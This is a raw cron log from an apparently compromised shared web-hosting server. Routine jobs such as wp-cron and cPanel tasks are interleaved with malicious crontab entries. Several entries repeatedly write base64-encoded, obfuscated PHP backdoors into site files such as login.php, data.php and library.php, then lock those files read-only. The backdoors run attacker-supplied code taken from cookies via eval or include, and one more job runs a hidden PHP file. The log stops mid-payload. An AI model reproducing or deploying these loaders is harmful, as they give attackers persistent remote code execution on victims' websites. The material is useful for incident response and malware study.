Mar  1 11:32:01 medusa CROND[24608]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:32:01 medusa CROND[24611]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:32:01 medusa CROND[24612]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:32:01 medusa CROND[24614]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:32:01 medusa CROND[24618]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:32:01 medusa CROND[24616]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:32:01 medusa CROND[24623]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:33:02 medusa CROND[14509]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:33:02 medusa CROND[14510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:33:02 medusa CROND[14511]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:33:02 medusa CROND[14512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:33:02 medusa CROND[14513]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:33:02 medusa CROND[14517]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:33:02 medusa CROND[14518]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:33:02 medusa CROND[14520]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:33:02 medusa CROND[14523]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:33:02 medusa CROND[14522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:33:02 medusa CROND[14527]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:33:02 medusa CROND[14528]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:34:01 medusa CROND[3955]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:34:01 medusa CROND[3956]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:34:01 medusa CROND[3957]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:34:01 medusa CROND[3958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:34:01 medusa CROND[3959]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:34:01 medusa CROND[3966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:34:01 medusa CROND[3967]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:34:01 medusa CROND[3969]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:34:01 medusa CROND[3970]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1